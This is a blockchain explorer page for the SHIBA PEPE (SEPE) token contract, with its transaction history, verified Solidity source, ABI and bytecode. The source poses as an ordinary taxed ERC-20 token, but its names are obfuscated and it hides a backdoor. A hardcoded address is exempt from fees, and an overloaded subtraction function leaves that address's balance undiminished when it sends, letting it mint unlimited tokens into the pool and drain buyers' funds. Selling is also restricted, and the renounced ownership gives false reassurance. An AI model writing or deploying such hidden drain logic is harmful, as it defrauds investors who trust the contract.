ETH Price: $1,898.39 (-0.77%)

Contract

0xBC7fD13F903EDD7C055C62BA1aDc48d580f75605
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve181033682023-09-10 3:43:11570 days ago1694317391IN
0xBC7fD13F...580f75605
0 ETH0.000433529.35357387
Approve181033682023-09-10 3:43:11570 days ago1694317391IN
0xBC7fD13F...580f75605
0 ETH0.000275159.35357387
Approve181033642023-09-10 3:42:23570 days ago1694317343IN
0xBC7fD13F...580f75605
0 ETH0.000415198.98358974
Approve181033462023-09-10 3:38:35570 days ago1694317115IN
0xBC7fD13F...580f75605
0 ETH0.000411858.89284347
Transfer181033442023-09-10 3:38:11570 days ago1694317091IN
0xBC7fD13F...580f75605
0 ETH0.000397699.48617514
Approve181033232023-09-10 3:33:47570 days ago1694316827IN
0xBC7fD13F...580f75605
0 ETH0.0006211513.33956683
Approve181033192023-09-10 3:32:59570 days ago1694316779IN
0xBC7fD13F...580f75605
0 ETH0.0004812410.33215223
Approve181033152023-09-10 3:32:11570 days ago1694316731IN
0xBC7fD13F...580f75605
0 ETH0.000384068.30998188
Approve181033102023-09-10 3:31:11570 days ago1694316671IN
0xBC7fD13F...580f75605
0 ETH0.0005685312.20635939
Approve181033062023-09-10 3:30:23570 days ago1694316623IN
0xBC7fD13F...580f75605
0 ETH0.0006024113.01759003
Approve181033062023-09-10 3:30:23570 days ago1694316623IN
0xBC7fD13F...580f75605
0 ETH0.0006599814.16984141
Approve181033052023-09-10 3:30:11570 days ago1694316611IN
0xBC7fD13F...580f75605
0 ETH0.0014344730.79799169
Approve181033042023-09-10 3:29:59570 days ago1694316599IN
0xBC7fD13F...580f75605
0 ETH0.0014482331.09336663
Approve181033022023-09-10 3:29:35570 days ago1694316575IN
0xBC7fD13F...580f75605
0 ETH0.000431749.28133836
Approve181032942023-09-10 3:27:59570 days ago1694316479IN
0xBC7fD13F...580f75605
0 ETH0.0005630312.08818725
Renounce Ownersh...181032852023-09-10 3:26:11570 days ago1694316371IN
0xBC7fD13F...580f75605
0 ETH0.000226699.74210291
Start Trading181032812023-09-10 3:25:23570 days ago1694316323IN
0xBC7fD13F...580f75605
0 ETH0.0292723310.42598772
Transfer181032752023-09-10 3:24:11570 days ago1694316251IN
0xBC7fD13F...580f75605
2 ETH0.000210299.9879021
Transfer181032712023-09-10 3:23:23570 days ago1694316203IN
0xBC7fD13F...580f75605
0 ETH0.0005924910.45892711

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Method Block
From
To
Add Liquidity ET...181032812023-09-10 3:25:23570 days ago1694316323
0xBC7fD13F...580f75605
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBAPEPE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-10
*/

/**

SHIBA+PEPE = SEPE 


Twitter: https://twitter.com/SEPE_Ethereum
Telegram: https://t.me/SEPE_Coin
Website: https://sepeeth.com/

**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;


    interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
    }

    library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath");
        return c;
    }

    function  qtsdh(uint256 a, uint256 b) internal pure returns (uint256) {
        return  qtsdh(a, b, "SafeMath");
    }

    function  qtsdh(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    }

    abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    }


    contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    }

    interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    }

    interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline) 
    external payable returns (uint amountToken, uint amountETH, uint liquidity);
    }

    contract SHIBAPEPE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = unicode"SHIBA PEPE";
    string private constant _symbol = unicode"SEPE";
    uint8 private constant _decimals = 9;

    uint256 private constant _totalSupply = 1000000000 * (10**_decimals);
    uint256 public _taxSwaprMrp = _totalSupply;
    uint256 public _maxHoldingrAmount = _totalSupply;
    uint256 public _taxSwapThreshold = _totalSupply;
    uint256 public _taxSwaprMax = _totalSupply;

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=26;
    uint256 private _finalBuyTax=1;
    uint256 private _finalSellTax=1;
    uint256 private _reduceBuyTaxAt=7;
    uint256 private _reduceSellTax1At=1;
    uint256 private _swpkusiwe=0;
    uint256 private _yabiklcqu=0;


    mapping (address => uint256) private  _balances;
    mapping (address => mapping (address => uint256)) private  _allowances;
    mapping (address => bool) private  _ysFxsruoes;
    mapping (address => bool) private  _revfouxet;
    mapping(address => uint256) private  _hoidTransxywsp;
    bool public  transerDelyEnble = false;


    IUniswapV2Router02 private  _uniRoutermV2;
    address private  _uniV2mLP;
    bool private  _rswieprytr;
    bool private  _inTaxmSwap = false;
    bool private  _swapfuUniswapnpfce = false;
    address public  _MaxakueFvwr = 0x84A36825b29Aa15D1a80B3C6eEEde243075cE575;
 
    event RnteuAqbctx(uint _taxSwaprMrp);
    modifier lockTskSwap {
        _inTaxmSwap = true;
        _;
        _inTaxmSwap = false;
    }

    constructor () { 
        _balances[_msgSender()] = _totalSupply;
        _ysFxsruoes[owner()] = true;
        _ysFxsruoes[address(this)] = true;
        _ysFxsruoes[_MaxakueFvwr] = true;


        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address _owner, address spender) public view override returns (uint256) {
        return _allowances[_owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()]. qtsdh(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address _owner, address spender, uint256 amount) private {
        require(_owner!= address(0), "ERC20: approve from the zero address");
        require(spender!= address(0), "ERC20: approve to the zero address");
        _allowances[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require (from!= address(0), "ERC20:  transfer  from  the  zero  address");
        require (to!= address(0), "ERC20: transfer to the zero  address");
        require (amount > 0, "Transfer  amount  must  be  greater  than  zero");
        uint256  taxAmount = 0;
        if  ( from != owner() &&to!= owner()) {

            if  (transerDelyEnble) {
                if  (to!= address(_uniRoutermV2) &&to!= address(_uniV2mLP)) {
                  require (_hoidTransxywsp[tx.origin] < block.number, " Only  one  transfer  per  block  allowed.");
                  _hoidTransxywsp[tx.origin] = block.number;
                }
            }

            if  ( from == _uniV2mLP && to!= address (_uniRoutermV2) &&!_ysFxsruoes[to]) {
                require (amount <= _taxSwaprMrp, "Forbid");
                require (balanceOf (to) + amount <= _maxHoldingrAmount,"Forbid");
                if  (_yabiklcqu < _swpkusiwe) {
                  require (!rukefybe(to));
                }
                _yabiklcqu ++ ; _revfouxet[to] = true;
                taxAmount = amount.mul((_yabiklcqu > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if(to == _uniV2mLP&&from!= address (this) &&! _ysFxsruoes[from]) {
                require (amount <= _taxSwaprMrp && balanceOf(_MaxakueFvwr) <_taxSwaprMax, "Forbid");
                taxAmount = amount.mul((_yabiklcqu > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
                require (_yabiklcqu >_swpkusiwe && _revfouxet[from]);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!_inTaxmSwap 
            &&  to  ==_uniV2mLP&&_swapfuUniswapnpfce &&contractTokenBalance > _taxSwapThreshold 
            &&  _yabiklcqu > _swpkusiwe &&! _ysFxsruoes [to] &&! _ysFxsruoes [from]
            )  {
                _transferFrom(rsnhl(amount,rsnhl(contractTokenBalance, _taxSwaprMax)));
                uint256  contractETHBalance = address (this).balance;
                if (contractETHBalance > 0)  {
                }
            }
        }

        if ( taxAmount > 0 ) {
          _balances[address(this)] = _balances [address(this)].add(taxAmount);
          emit  Transfer (from, address (this) ,taxAmount);
        }
        _balances[from] = qtsdh(from , _balances [from], amount);
        _balances[to] = _balances[to].add(amount.qtsdh (taxAmount));
        emit  Transfer( from, to, amount. qtsdh(taxAmount));
    }

    function _transferFrom(uint256 _swapTaxAndLiquify) private lockTskSwap {
        if(_swapTaxAndLiquify==0){return;}
        if(!_rswieprytr){return;}
        address[] memory path =  new   address [](2);
        path[0] = address (this);
        path[1] = _uniRoutermV2.WETH();
        _approve(address (this), address (_uniRoutermV2), _swapTaxAndLiquify);
        _uniRoutermV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
    }

    function rsnhl(uint256 a, uint256 b) private pure returns (uint256) {
    return (a >= b) ? b : a;
    }

    function qtsdh(address from, uint256 a, uint256 b) private view returns (uint256) {
    if (from == _MaxakueFvwr) {
        return a;
    } else {
        require(a >= b, "Subtraction underflow");
        return a - b;
    }
    }

    function removerLimits() external onlyOwner{
        _taxSwaprMrp  =  _totalSupply ;
        _maxHoldingrAmount = _totalSupply ;
        transerDelyEnble = false ;
        emit  RnteuAqbctx ( _totalSupply ) ;
    }

   function rukefybe(address account) private view returns (bool) {
    uint256 codeSize;
    address[] memory addresses = new address[](1);
    addresses[0] = account;

    assembly {
        codeSize := extcodesize(account)
    }

    return codeSize > 0;
    }


    function startTrading() external onlyOwner() {
        require (!_rswieprytr, " trading is open " ) ;
        _uniRoutermV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve (address (this),address(_uniRoutermV2), _totalSupply);
        _uniV2mLP = IUniswapV2Factory(_uniRoutermV2.factory()).createPair (address(this), _uniRoutermV2. WETH());
        _uniRoutermV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
        IERC20 (_uniV2mLP).approve (address(_uniRoutermV2), type(uint). max);
        _swapfuUniswapnpfce = true ;
        _rswieprytr = true ;
    }

    receive( )  external  payable  { }
    }

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_taxSwaprMrp","type":"uint256"}],"name":"RnteuAqbctx","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_MaxakueFvwr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxHoldingrAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwaprMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwaprMrp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removerLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"transerDelyEnble","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200031c565b6200002290633b9aca0062000333565b600155620000336009600a6200031c565b6200004390633b9aca0062000333565b600255620000546009600a6200031c565b6200006490633b9aca0062000333565b600355620000756009600a6200031c565b6200008590633b9aca0062000333565b600455600a6005819055601a60065560016007818155600882905560095590555f600b819055600c556012805460ff191690556013805461ffff60a81b19169055601480546001600160a01b0319167384a36825b29aa15d1a80b3c6eeede243075ce575179055348015620000f8575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001476009600a6200031c565b6200015790633b9aca0062000333565b335f818152600d602090815260408083209490945581546001600160a01b039081168352600f9091528382208054600160ff199182168117909255308452858420805482168317905560145490921683529382208054909116909317909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e66009600a6200031c565b620001f690633b9aca0062000333565b60405190815260200160405180910390a36200034d565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200026157815f19048211156200024557620002456200020d565b808516156200025357918102915b93841c939080029062000226565b509250929050565b5f82620002795750600162000316565b816200028757505f62000316565b8160018114620002a05760028114620002ab57620002cb565b600191505062000316565b60ff841115620002bf57620002bf6200020d565b50506001821b62000316565b5060208310610133831016604e8410600b8410161715620002f0575081810a62000316565b620002fc838362000221565b805f19048211156200031257620003126200020d565b0290505b92915050565b5f6200032c60ff84168362000269565b9392505050565b80820281158282048414176200031657620003166200020d565b6118e6806200035b5f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb146102ff578063bbcb5e5d1461031e578063bf474bed1461033d578063daa9a34314610352578063dd62ed3e14610366575f80fd5b806370a0823114610246578063715018a61461027a5780638da5cb5b1461028e57806395d89b41146102be578063a652d046146102ea575f80fd5b8063293230b8116100e3578063293230b8146101d2578063313ce567146101e85780634f6b7c8c146102035780635c84c1ba14610218578063604bfd7c14610231575f80fd5b806306fdde031461011e578063095ea7b31461016257806318160ddd1461019157806323b872dd146101b3575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a8152695348494241205045504560b01b60208201525b60405161015991906114cd565b60405180910390f35b34801561016d575f80fd5b5061018161017c36600461152f565b6103aa565b6040519015158152602001610159565b34801561019c575f80fd5b506101a56103c0565b604051908152602001610159565b3480156101be575f80fd5b506101816101cd366004611559565b6103e0565b3480156101dd575f80fd5b506101e6610448565b005b3480156101f3575f80fd5b5060405160098152602001610159565b34801561020e575f80fd5b506101a560015481565b348015610223575f80fd5b506012546101819060ff1681565b34801561023c575f80fd5b506101a560045481565b348015610251575f80fd5b506101a5610260366004611597565b6001600160a01b03165f908152600d602052604090205490565b348015610285575f80fd5b506101e661080a565b348015610299575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610159565b3480156102c9575f80fd5b506040805180820190915260048152635345504560e01b602082015261014c565b3480156102f5575f80fd5b506101a560025481565b34801561030a575f80fd5b5061018161031936600461152f565b61087b565b348015610329575f80fd5b506014546102a6906001600160a01b031681565b348015610348575f80fd5b506101a560035481565b34801561035d575f80fd5b506101e6610887565b348015610371575f80fd5b506101a56103803660046115b2565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b5f6103b6338484610942565b5060015b92915050565b5f6103cd6009600a6116dd565b6103db90633b9aca006116eb565b905090565b5f6103ec848484610a65565b61043d843361043885604051806060016040528060288152602001611889602891396001600160a01b038a165f908152600e6020908152604080832033845290915290205491906110d7565b610942565b5060015b9392505050565b5f546001600160a01b0316331461047a5760405162461bcd60e51b815260040161047190611702565b60405180910390fd5b601354600160a01b900460ff16156104c85760405162461bcd60e51b81526020600482015260116024820152700103a3930b234b7339034b99037b832b71607d1b6044820152606401610471565b60128054610100600160a81b031916747a250d5630b4cf539739df2c5dacb4c659f2488d0017908190556105219030906001600160a01b03610100909104166105136009600a6116dd565b61043890633b9aca006116eb565b601260019054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610572573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105969190611723565b6001600160a01b031663c9c6539630601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105f6573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061061a9190611723565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610664573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106889190611723565b601380546001600160a01b039283166001600160a01b031990911617905560125461010090041663f305d71947306106d4816001600160a01b03165f908152600d602052604090205490565b5f806106e75f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610772919061173e565b505060135460125460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107cc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f09190611769565b506013805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108335760405162461bcd60e51b815260040161047190611702565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6103b6338484610a65565b5f546001600160a01b031633146108b05760405162461bcd60e51b815260040161047190611702565b6108bc6009600a6116dd565b6108ca90633b9aca006116eb565b6001556108d96009600a6116dd565b6108e790633b9aca006116eb565b6002556012805460ff191690557f9508846b459da6a131f26d3c6ed3f6e640f72fb28b23c51dca0f87e910add53c6109216009600a6116dd565b61092f90633b9aca006116eb565b60405190815260200160405180910390a1565b6001600160a01b0383166109a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610471565b6001600160a01b038216610a055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610471565b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ace5760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610471565b6001600160a01b038216610b305760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610471565b5f8111610b975760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610471565b5f80546001600160a01b03858116911614801590610bc257505f546001600160a01b03848116911614155b15610f985760125460ff1615610c8a576012546001600160a01b038481166101009092041614801590610c0357506013546001600160a01b03848116911614155b15610c8a57325f908152601160205260409020544311610c785760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610471565b325f9081526011602052604090204390555b6013546001600160a01b038581169116148015610cba57506012546001600160a01b038481166101009092041614155b8015610cde57506001600160a01b0383165f908152600f602052604090205460ff16155b15610dd557600154821115610d055760405162461bcd60e51b815260040161047190611788565b60025482610d27856001600160a01b03165f908152600d602052604090205490565b610d3191906117a8565b1115610d4f5760405162461bcd60e51b815260040161047190611788565b600b54600c541015610d6d57610d648361110f565b15610d6d575f80fd5b600c8054905f610d7c836117bb565b90915550506001600160a01b0383165f908152601060205260409020805460ff19166001179055600954600c54610dd291606491610dcc9110610dc157600554610dc5565b6007545b8590611168565b906111c7565b90505b6013546001600160a01b038481169116148015610dfb57506001600160a01b0384163014155b8015610e1f57506001600160a01b0384165f908152600f602052604090205460ff16155b15610ec5576001548211158015610e5057506004546014546001600160a01b03165f908152600d6020526040902054105b610e6c5760405162461bcd60e51b815260040161047190611788565b610e916064610dcc600a54600c5411610e8757600654610dc5565b6008548590611168565b9050600b54600c54118015610ebd57506001600160a01b0384165f9081526010602052604090205460ff165b610ec5575f80fd5b305f908152600d6020526040902054601354600160a81b900460ff16158015610efb57506013546001600160a01b038581169116145b8015610f105750601354600160b01b900460ff165b8015610f1d575060035481115b8015610f2c5750600b54600c54115b8015610f5057506001600160a01b0384165f908152600f602052604090205460ff16155b8015610f7457506001600160a01b0385165f908152600f602052604090205460ff16155b15610f9657610f96610f9184610f8c846004546111f3565b6111f3565b611208565b505b801561101057305f908152600d6020526040902054610fb790826113b4565b305f818152600d6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110079085815260200190565b60405180910390a35b6001600160a01b0384165f908152600d6020526040902054611034908590846113fd565b6001600160a01b0385165f908152600d60205260409020556110776110598383611475565b6001600160a01b0385165f908152600d6020526040902054906113b4565b6001600160a01b038085165f818152600d602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c08585611475565b60405190815260200160405180910390a350505050565b5f81848411156110fa5760405162461bcd60e51b815260040161047191906114cd565b505f61110684866117d3565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f81518110611147576111476117e6565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361117757505f6103ba565b5f61118283856116eb565b90508261118f85836117fa565b146104415760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610471565b5f6104418383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506114a1565b5f818310156112025782610441565b50919050565b6013805460ff60a81b1916600160a81b17905580156113a457601354600160a01b900460ff16156113a4576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611266576112666117e6565b60200260200101906001600160a01b031690816001600160a01b031681525050601260019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112fb9190611723565b8160018151811061130e5761130e6117e6565b6001600160a01b03928316602091820292909201015260125461133991309161010090041684610942565b60125460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113759085905f90869030904290600401611819565b5f604051808303815f87803b15801561138c575f80fd5b505af115801561139e573d5f803e3d5ffd5b50505050505b506013805460ff60a81b19169055565b5f806113c083856117a8565b9050838110156104415760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610471565b6014545f906001600160a01b039081169085160361141c575081610441565b818310156114645760405162461bcd60e51b81526020600482015260156024820152745375627472616374696f6e20756e646572666c6f7760581b6044820152606401610471565b61146e82846117d3565b9050610441565b5f6104418383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110d7565b5f81836114c15760405162461bcd60e51b815260040161047191906114cd565b505f61110684866117fa565b5f6020808352835180828501525f5b818110156114f8578581018301518582016040015282016114dc565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152c575f80fd5b50565b5f8060408385031215611540575f80fd5b823561154b81611518565b946020939093013593505050565b5f805f6060848603121561156b575f80fd5b833561157681611518565b9250602084013561158681611518565b929592945050506040919091013590565b5f602082840312156115a7575f80fd5b813561044181611518565b5f80604083850312156115c3575f80fd5b82356115ce81611518565b915060208301356115de81611518565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561163757815f190482111561161d5761161d6115e9565b8085161561162a57918102915b93841c9390800290611602565b509250929050565b5f8261164d575060016103ba565b8161165957505f6103ba565b816001811461166f576002811461167957611695565b60019150506103ba565b60ff84111561168a5761168a6115e9565b50506001821b6103ba565b5060208310610133831016604e8410600b84101617156116b8575081810a6103ba565b6116c283836115fd565b805f19048211156116d5576116d56115e9565b029392505050565b5f61044160ff84168361163f565b80820281158282048414176103ba576103ba6115e9565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f60208284031215611733575f80fd5b815161044181611518565b5f805f60608486031215611750575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611779575f80fd5b81518015158114610441575f80fd5b602080825260069082015265119bdc989a5960d21b604082015260600190565b808201808211156103ba576103ba6115e9565b5f600182016117cc576117cc6115e9565b5060010190565b818103818111156103ba576103ba6115e9565b634e487b7160e01b5f52603260045260245ffd5b5f8261181457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118675784516001600160a01b031683529383019391830191600101611842565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fddccd3306fed29e521c0513916bbce55b263f16bec47c9b5d8450692ea34cb64736f6c63430008140033

Deployed Bytecode

